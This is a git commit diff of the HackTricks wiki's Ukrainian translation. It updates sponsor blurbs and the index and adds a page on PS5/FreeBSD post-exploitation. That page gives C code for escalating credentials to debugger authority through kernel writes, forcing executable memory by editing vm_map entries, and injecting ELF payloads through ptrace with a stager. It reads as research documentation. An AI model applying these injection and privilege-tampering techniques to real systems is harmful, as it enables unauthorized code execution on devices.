Translated ['src/network-services-pentesting/554-8554-pentesting-rtsp.md

This commit is contained in:
Translator 2025-09-30 22:45:04 +00:00
parent 3e8b124e53
commit 9c89a29b9e
20 changed files with 2091 additions and 901 deletions

File diff suppressed because one or more lines are too long

View File

@ -2,7 +2,7 @@
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks логотипи та анімаційний дизайн від_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks логотипи та motion-дизайн від_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Запустіть HackTricks локально
```bash
@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Ваш локальний екземпляр HackTricks буде **доступний за [http://localhost:3337](http://localhost:3337)** через <5 хвилин (необхідно зібрати книгу, будьте терплячими).
Ваша локальна копія HackTricks буде **available at [http://localhost:3337](http://localhost:3337)** через <5 хвилин (потрібен час на збірку книги, будьте терплячі).
## Корпоративні спонсори
@ -39,11 +39,11 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) - це чудова компанія з кібербезпеки, чий слоган - **HACK THE UNHACKABLE**. Вони проводять власні дослідження та розробляють власні інструменти для хакінгу, щоб **пропонувати кілька цінних послуг у сфері кібербезпеки**, таких як pentesting, Red teams та навчання.
[**STM Cyber**](https://www.stmcyber.com) — відмінна компанія в галузі кібербезпеки, чий слоган — **HACK THE UNHACKABLE**. Вони проводять власні дослідження та розробляють свої hacking tools, щоб **надавати кілька цінних послуг у сфері кібербезпеки**, таких як pentesting, Red teams і тренінги.
Ви можете ознайомитися з їхнім **блогом** на [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
Ви можете переглянути їхній **блог** на [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** також підтримує проекти з відкритим кодом у сфері кібербезпеки, такі як HackTricks :)
**STM Cyber** також підтримують open source проєкти з кібербезпеки, такі як HackTricks :)
---
@ -51,7 +51,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) - це найважливіша подія з кібербезпеки в **Іспанії** та одна з найважливіших в **Європі**. З **метою просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
[**RootedCON**](https://www.rootedcon.com) — найважливіша подія з кібербезпеки в **Spain** і одна з найзначніших у **Europe**. Маючи **місію популяризації технічних знань**, ця конференція є жвавим майданчиком для зустрічей фахівців з технологій і кібербезпеки з усіх дисциплін.
{{#ref}}
https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** - це **перша** етична платформа для хакінгу та **bug bounty** в **Європі**.
**Intigriti** **Europe's #1** ethical hacking і **bug bounty platform.**
**Порада щодо bug bounty**: **зареєструйтесь** на **Intigriti**, преміум **платформі bug bounty, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) вже сьогодні та починайте заробляти bounties до **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних найсучаснішими інструментами спільноти.
Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), щоб легко будувати та **автоматизувати workflows**, керовані найпотужнішими інструментами спільноти.
Отримайте доступ сьогодні:
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами і bug bounty мисливцями!
- **Інсайти з хакінгу:** Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
- **Новини про хакінг в реальному часі:** Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
- **Останні оголошення:** Будьте в курсі нових винагород за баги та важливих оновлень платформи
- **Hacking Insights:** Занурюйтесь у контент, що розкриває захоплення та виклики хакінгу
- **Real-Time Hack News:** Будьте в курсі швидкоплинних новин світу хакінгу в реальному часі
- **Latest Announcements:** Слідкуйте за новими запусками bug bounties та важливими оновленнями платформи
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами сьогодні!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з провідними хакерами вже сьогодні!
---
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Необхідний набір інструментів для тестування на проникнення
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Отримайте перспективу хакера на свої веб-додатки, мережу та хмару**
**Отримайте хакерський погляд на ваші веб-застосунки, мережу та cloud**
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищувати привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
**Знаходьте й звітуйте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ кастомних інструментів для мапування attack surface, виявлення проблем безпеки, що дозволяють escalatе privileges, і застосовуйте автоматизовані експлойти для збору необхідних доказів, перетворюючи вашу роботу на переконливі звіти.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** пропонує швидкі та прості API в реальному часі для **доступу до результатів пошукових систем**. Вони збирають дані з пошукових систем, обробляють проксі, вирішують капчі та аналізують всі багаті структуровані дані для вас.
**SerpApi** пропонує швидкі та прості real-time APIs для **доступу до результатів пошуку**. Вони скрейплять пошукові системи, керують проксі, вирішують captchas і парсять всю структуровану data для вас.
Підписка на один з планів SerpApi включає доступ до понад 50 різних API для збору даних з різних пошукових систем, включаючи Google, Bing, Baidu, Yahoo, Yandex та інші.\
На відміну від інших постачальників, **SerpApi не просто збирає органічні результати**. Відповіді SerpApi постійно включають всі оголошення, вбудовані зображення та відео, графіки знань та інші елементи та функції, присутні в результатах пошуку.
Підписка на один із планів SerpApi включає доступ до понад 50 різних API для скрейпінгу різних пошукових систем, включно з Google, Bing, Baidu, Yahoo, Yandex та іншими.\
На відміну від інших постачальників, **SerpApi не просто скрейпить organic results**. Відповіді SerpApi постійно включають усі ads, inline images and videos, knowledge graphs та інші елементи та функції, присутні в результатах пошуку.
Серед поточних клієнтів SerpApi - **Apple, Shopify та GrubHub**.\
Для отримання додаткової інформації ознайомтеся з їхнім [**блогом**](https://serpapi.com/blog/)**,** або спробуйте приклад у їхньому [**плейграунді**](https://serpapi.com/playground)**.**\
Ви можете **створити безкоштовний обліковий запис** [**тут**](https://serpapi.com/users/sign_up)**.**
Серед поточних клієнтів SerpApi **Apple, Shopify, і GrubHub**.\
Для додаткової інформації перегляньте їхній [**blog**](https://serpapi.com/blog/)**,** або спробуйте приклад у їхньому [**playground**](https://serpapi.com/playground)**.**\
Ви можете **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
---
### [8kSec Academy Глибокі курси з мобільної безпеки](https://academy.8ksec.io/)
### [8kSec Academy In-Depth Mobile Security Courses](https://academy.8ksec.io/)
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Вивчайте технології та навички, необхідні для проведення досліджень вразливостей, тестування на проникнення та реверс-інжинірингу для захисту мобільних додатків та пристроїв. **Опануйте безпеку iOS та Android** через наші курси за запитом та **отримайте сертифікат**:
Опануйте технології та навички, необхідні для проведення vulnerability research, penetration testing та reverse engineering, щоб захищати мобільні застосунки й пристрої. **Оволодійте iOS та Android security** через наші on-demand курси та **отримуйте сертифікацію**:
{{#ref}}
https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net) - це професійна компанія з кібербезпеки, що базується в **Амстердамі**, яка допомагає **захищати** бізнеси **по всьому світу** від останніх загроз у сфері кібербезпеки, надаючи **послуги з наступальної безпеки** з **сучасним** підходом.
[**WebSec**](https://websec.net) професійна компанія з кібербезпеки, що базується в **Amsterdam**, яка допомагає **захищати** бізнеси **по всьому світу** від сучасних загроз кібербезпеки, надаючи **offensive-security services** із **сучасним** підходом.
WebSec - це міжнародна компанія з безпеки з офісами в Амстердамі та Вайомінгу. Вони пропонують **все-в-одному послуги безпеки**, що означає, що вони роблять все; Pentesting, **Аудити** безпеки, Тренінги з обізнаності, Фішинг-кампанії, Огляд коду, Розробка експлойтів, Аутсорсинг експертів з безпеки та багато іншого.
WebSec — міжнародна компанія з офісами в Amsterdam та Wyoming. Вони пропонують **all-in-one security services**, що означає, що роблять усе: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing та багато іншого.
Ще одна цікава річ про WebSec полягає в тому, що на відміну від середньої по галузі, WebSec **дуже впевнена у своїх навичках**, настільки, що вони **гарантують найкращі результати якості**, про що зазначено на їхньому веб-сайті "**Якщо ми не можемо зламати це, ви не платите!**". Для отримання додаткової інформації ознайомтеся з їхнім [**веб-сайтом**](https://websec.net/en/) та [**блогом**](https://websec.net/blog/)!
Ще одна цікава річ щодо WebSec: на відміну від середнього по галузі, WebSec **дуже впевнені у своїх навичках**, настільки, що **гарантують найкращі результати**, як зазначено на їхньому сайті: "**If we can't hack it, You don't pay it!**". Для додаткової інформації перегляньте їхній [**website**](https://websec.net/en/) та [**blog**](https://websec.net/blog/)!
На додаток до вищезазначеного, WebSec також є **відданим спонсором HackTricks.**
Крім вищезазначеного, WebSec також є **відданим прихильником HackTricks.**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - це пошукова система для витоків даних (leak). \
Ми надаємо пошук випадкових рядків (як Google) по всіх типах витоків даних великих і малих - не тільки великих - з даними з кількох джерел. \
Пошук людей, пошук AI, пошук організацій, доступ до API (OpenAPI), інтеграція theHarvester, всі функції, які потрібні пентестеру.\
**HackTricks продовжує бути чудовою навчальною платформою для нас усіх, і ми пишаємося тим, що спонсоруємо її!**
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) — пошукова система по data breach (leak). \
Ми надаємо пошук по випадкових рядках (як google) по всім типам витоків даних великим і малим — не тільки по великим — по даних з множинних джерел. \
Пошук по людям, пошук через AI, пошук організацій, API (OpenAPI) доступ, інтеграція theHarvester, всі функції, які потрібні pentester.\
**HackTricks продовжує бути чудовою навчальною платформою для всіх нас, і ми пишаємося, що спонсоруємо її!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -180,16 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
**Створено для поля. Створено навколо вас.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) розробляє та надає ефективне навчання з кібербезпеки, яке створюється та ведеться
експертами галузі. Їхні програми виходять за межі теорії, щоб забезпечити команди глибоким
розумінням та практичними навичками, використовуючи спеціальні середовища, які відображають реальні
загрози. Для запитів щодо індивідуального навчання звертайтеся до нас [**тут**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Що відрізняє їхнє навчання:**
* Індивідуально розроблений контент та лабораторії
* Підтримується інструментами та платформами найвищого рівня
* Розроблено та викладається практиками
**Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) розробляє та проводить ефективні курси з кібербезпеки, створені та ведені експертами індустрії. Їхні програми виходять за межі теорії, щоб забезпечити команди глибоким розумінням та практичними навичками, використовуючи кастомні середовища, що відтворюють реальні загрози. Для індивідуальних запитів щодо навчання зв'яжіться з нами [**тут**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Що вирізняє їхні тренінги:**
* Кастомний контент і лабораторії
* Підтримка провідних інструментів і платформ
* Розроблені та викладаються практиками
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@ -201,17 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutions надає спеціалізовані послуги з кібербезпеки для **освітніх** та **FinTech**
установ, з акцентом на **тестування на проникнення, оцінки безпеки хмар**, та
**готовність до відповідності** (SOC 2, PCI-DSS, NIST). Наша команда складається з **сертифікованих професіоналів OSCP та CISSP**, які приносять глибокий технічний досвід та інсайти відповідно до стандартів галузі в кожному проекті.
Last Tower Solutions надає спеціалізовані послуги з кібербезпеки для установ в галузі **Education** та **FinTech**, з акцентом на **penetration testing, cloud security assessments**, та **compliance readiness** (SOC 2, PCI-DSS, NIST). Наша команда включає фахівців сертифікованих OSCP та CISSP, які приносять глибоку технічну експертизу та галузеве розуміння в кожне завдання.
Ми виходимо за межі автоматизованих сканувань з **ручним, інтелектуально обґрунтованим тестуванням**, адаптованим до
високих ризиків. Від захисту студентських записів до захисту фінансових транзакцій,
ми допомагаємо організаціям захистити те, що має найбільше значення.
Ми виходимо за межі автоматизованих сканувань завдяки **manual, intelligence-driven testing**, адаптованому до середовищ із високими ставками. Від захисту студентських записів до забезпечення безпеки фінансових транзакцій — ми допомагаємо організаціям захищати те, що найважливіше.
_“Якісна оборона вимагає знання атаки, ми забезпечуємо безпеку через розуміння.”_
_“A quality defense requires knowing the offense, we provide security through understanding.”_
Будьте в курсі останніх новин у сфері кібербезпеки, відвідавши наш [**блог**](https://www.lasttowersolutions.com/blog).
Будьте в курсі останніх новин у сфері кібербезпеки, відвідавши їхній [**blog**](https://www.lasttowersolutions.com/blog).
{{#ref}}
https://www.lasttowersolutions.com/
@ -219,7 +213,22 @@ https://www.lasttowersolutions.com/
---
## Ліцензія та відмова від відповідальності
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE дає змогу DevOps, DevSecOps та розробникам ефективно управляти, моніторити та захищати Kubernetes кластери. Використовуйте наші AI-driven insights, просунуту security framework та інтуїтивний CloudMaps GUI для візуалізації ваших кластерів, розуміння їхнього стану та впевнених дій.
Крім того, K8Studio **сумісний з усіма основними дистрибуціями kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift та інші).
{{#ref}}
https://k8studio.io/
{{#endref}}
---
## License & Disclaimer
Перевірте їх у:
@ -227,7 +236,7 @@ https://www.lasttowersolutions.com/
welcome/hacktricks-values-and-faq.md
{{#endref}}
## Статистика Github
## Github Stats
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)

View File

@ -59,6 +59,7 @@
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@ -82,6 +83,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
@ -102,6 +104,7 @@
# 🐧 Linux Hardening
- [Linux Basics](linux-hardening/linux-basics.md)
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
@ -570,6 +573,7 @@
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@ -587,6 +591,7 @@
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
@ -843,6 +848,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)

View File

@ -0,0 +1,182 @@
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
{{#include ../banners/hacktricks-training.md}}
## Огляд
Ця сторінка документує практичну техніку інжекції процесу/ELF у usermode Unix/BSD на PlayStation 5 (PS5), яка базується на FreeBSD. Метод узагальнюється для похідних FreeBSD за умови наявності kernel read/write (R/W) primitives. На високому рівні:
- Змінити credentials поточного процесу (ucred), щоб надати права дебагера, дозволивши ptrace/mdbg для довільних user процесів.
- Знаходити цільові процеси, обходячи kernel allproc list.
- Обійти обмеження PROT_EXEC, встановивши vm_map_entry.protection |= PROT_EXEC у vm_map цілі через запис у kernel data.
- Використати ptrace для Remote Function Invocation (RFI): зупинити потік, встановити регістри для виклику довільних функцій всередині цілі, відновити виконання, зібрати значення повернення та відновити стан.
- Замапити та виконати довільні ELF payloads всередині цілі за допомогою in-process ELF loader, потім створити виділений потік, який запустить payload і викличе breakpoint для чистого detach.
Hypervisor mitigations на PS5, на які варто звернути увагу (в контексті цієї техніки):
- XOM (execute-only .text) забороняє читання/запис kernel .text.
- Скидання CR0.WP або відключення CR4.SMEP спричиняє hypervisor vmexit (краш). Лише data-only kernel writes є придатними.
- Userland mmap за замовчуванням обмежений до PROT_READ|PROT_WRITE. Надання PROT_EXEC має виконуватися редагуванням vm_map записів у kernel memory.
Ця техніка призначена для post-exploitation: вона припускає наявність kernel R/W primitives, отриманих з exploit chain. Публічні payloads демонструють це до firmware 10.01 на момент написання.
## Примітиви kernel — тільки для даних
### Виявлення процесів через allproc
FreeBSD підтримує двозв’язний список процесів у kernel .data під allproc. Маючи kernel read primitive, ітеруйте його, щоб знайти імена процесів і PIDs:
```c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
```
- KERNEL_ADDRESS_ALLPROC залежить від прошивки.
- p_comm — ім'я фіксованого розміру; розгляньте pid->proc lookups, якщо потрібно.
### Підвищення повноважень для налагодження (ucred)
На PS5, struct ucred містить поле Authority ID, доступне через proc->p_ucred. Запис debugger Authority ID надає ptrace/mdbg над іншими процесами:
```c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
```
- Offset 0x58 є специфічним для сімейства прошивок PS5 і має бути перевірений для кожної версії.
- Після цього запису injector може приєднуватися та інструментувати користувацькі процеси через ptrace/mdbg.
## Обхід RW-only мапінгів користувача: vm_map PROT_EXEC flip
Userland mmap може бути обмеженим до PROT_READ|PROT_WRITE. FreeBSD відслідковує адресний простір процесу у vm_map з вузлів vm_map_entry (BST plus list). Кожен запис містить поля protection та max_protection:
```c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
```
With kernel R/W you can locate the targets vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Практичні зауваги щодо реалізації:
- Перебирайте записи або лінійно через next, або використовуючи balanced-tree (left/right) для пошуку за адресним діапазоном з O(log n).
- Виберіть відомий RW регіон під вашим контролем (scratch buffer або mapped file) і додайте PROT_EXEC, щоб розмістити код або loader thunks.
- Код PS5 SDK надає допоміжні функції для швидкого пошуку map-entry і перемикання захистів.
Це обходить політику mmap у userland шляхом прямого редагування kernel-owned metadata.
## Remote Function Invocation (RFI) with ptrace
FreeBSD не має Windows-подібних VirtualAllocEx/CreateRemoteThread. Натомість змушуйте ціль викликати власні функції під контролем ptrace:
1. Приєднатися до цілі та вибрати потік; PTRACE_ATTACH або PS5-специфічні mdbg flows можуть застосовуватися.
2. Зберегти контекст потоку: регістри, PC, SP, flags.
3. Записати регістри аргументів відповідно до ABI (x86_64 SysV або arm64 AAPCS64), встановити PC на цільову функцію і при потребі помістити додаткові args/stack.
4. Виконувати покроково або продовжити до контрольованої зупинки (наприклад, software breakpoint або signal), потім прочитати назад значення повернення з регістрів.
5. Відновити початковий контекст і продовжити.
Use cases:
- Викликати in-process ELF loader (e.g., elfldr_load) з вказівником на ваш ELF image у пам'яті цілі.
- Викликати допоміжні рутини для отримання повернених entrypoints і вказівників payload-args.
Example of driving the ELF loader:
```c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
```
The loader відображає сегменти, резольвить імпорти, застосовує релокації та повертає entry (часто CRT bootstrap) плюс непрозорий вказівник payload_args, який ваш stager передає до payloads main().
## Багатопоточний stager та чистий detach
Мінімальний stager всередині цілі створює новий pthread, який запускає ELFs main і потім викликає int3, щоб сигналізувати injector про detach:
```c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
```
- Вказівники SCEFunctions/payload_args надаються loader/SDK glue.
- Після breakpoint та detach payload продовжує виконуватися у власному thread.
## Повний конвеєр (PS5 reference implementation)
Працююча реалізація постачається у вигляді невеликого TCP injector server та клієнтського скрипта:
- NineS server слухає на TCP 9033 та отримує заголовок, який містить ім'я цільового процесу, за яким слідує ELF image:
```c
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
```
- Використання клієнта Python:
```bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
```
Приклад Hello-world payload (записує логи в klog):
```c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
```
## Практичні зауваження
- Зсуви та константи (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) специфічні для прошивки і мають оновлюватись для кожного релізу.
- Захисти гіпервізора примушують робити лише data-only kernel writes; не намагайтесь патчити CR0.WP або CR4.SMEP.
- JIT memory — альтернатива: деякі процеси надають PS5 JIT APIs для виділення виконуваних сторінок. Зміна захисту vm_map усуває потребу покладатися на JIT/mirroring tricks.
- Забезпечте надійне збереження/відновлення регістрів; у разі помилки це може призвести до deadlock або crash target.
## Публічні інструменти
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
## Посилання
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
- [Mira](https://github.com/OpenOrbis/mira-project)
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,19 +1,19 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
